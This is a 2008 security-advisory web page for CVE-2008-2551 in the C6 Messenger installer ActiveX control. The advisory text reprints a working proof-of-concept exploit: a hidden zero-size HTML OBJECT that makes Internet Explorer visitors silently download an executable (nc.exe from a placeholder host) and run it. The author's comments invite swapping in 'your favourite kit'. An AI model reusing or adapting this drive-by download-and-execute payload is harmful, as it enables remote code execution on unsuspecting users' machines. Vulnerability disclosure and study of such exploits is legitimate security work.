Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit
  SecurityAlert : 3926
  CVE : CVE-2008-2551
  CWE : CWE-264
  SecurityRisk : High  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Victim interaction required : Yes
  Exploit Given : Yes
  Credit : Nine:Situations:Group
  Published : 07.06.2008

  Affected Software : Icona, Instant_messenger, 1.0.0.1



  Advisory Text :  

<!--

C6 Messenger Installation Url DownloaderActiveX Control Remote Download

& Execute Exploit

by

Nine:Situations:Group::SnoopyAssault

site: http://retrogod.altervista.org/

exploit url: http://retrogod.altervista.org/9sg_c6_download_exec.html

"C6 Messenger is an instant messaging program produced by Telecom Italia
Group,

specifically by Alice (distribution), Icon Spa (development, design and
server)

and Opendoc (graphics). It is the only instant messenger entirely produced
in

Italy, is a free program, allows you to chat in real time with
friends[..]"

installation urls:

http://c6.community.alice.it/home/index.html

http://c6.community.alice.it/download/c6.html

Whoever accessed the second one with IE to install c6 IM is vulnerable to
this

threat. Notice that you can pass also local urls to "propDownloadUrl"
property

and bypass Internet zone, no host check is performed.

"propPostDownloadAction" one is used to launch the executable.

A progress bar is shown but you can easily make it not visible.

settings:

RegKey Safe for Script: False

RegKey Safe for Init: False

Implements IObjectSafety: True

IDisp Safe: Safe for untrusted: caller,data

IPersist Safe: Safe for untrusted: caller,data

info:

http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c6
1&meta=&num=100&filter=0

Let me guess, this one is already exploited in the wild...

Thanks Mommy Telecom Italia!!

If you think this poc is useful, please help us to improve our equipment
and

donate through the paypal button on our site!

------------------------------------------------------------------------
--------

Goodbye rgod-tsid-pah he-ru-ka!

-->

<HTML>

<BODY>

<OBJECT ID="DownloaderActiveX1"

WIDTH="0"

HEIGHT="0"

CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"

CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">

<PARAM NAME="propProgressBackground" VALUE="#bccee8">

<PARAM NAME="propTextBackground" VALUE="#f7f8fc">

<PARAM NAME="propBarColor" VALUE="#df0203">

<PARAM NAME="propTextColor" VALUE="#000000">

<PARAM NAME="propWidth" VALUE="0">

<PARAM NAME="propHeight" VALUE="0">

<PARAM NAME="propDownloadUrl" VALUE="http://yoursite.com/nc.exe"><!--
change to your favourite kit ! :) -->

<PARAM NAME="propPostDownloadAction" VALUE="run"> <!-- lol -->

<PARAM NAME="propInstallCompleteUrl" VALUE="">

<PARAM NAME="propBrowserRedirectUrl" VALUE="">

<PARAM NAME="propVerbose" VALUE="0">

<PARAM NAME="propInterrupt" VALUE="0">

</OBJECT>

</BODY>

</HTML>



  References :

http://xforce.iss.net/xforce/xfdb/42825
http://www.securityfocus.com/archive/1/archive/1/493019/100/0/threaded
http://www.milw0rm.com/exploits/5732
http://www.frsirt.com/english/advisories/2008/1733/references
http://secunia.com/advisories/30512



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

» Apache-SSL memory
   disclosure

PHP rss

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

» PHP 5.2.5 cURL safe_mode
   bypass

Copyright © SecurityReason. All Rights Reserved.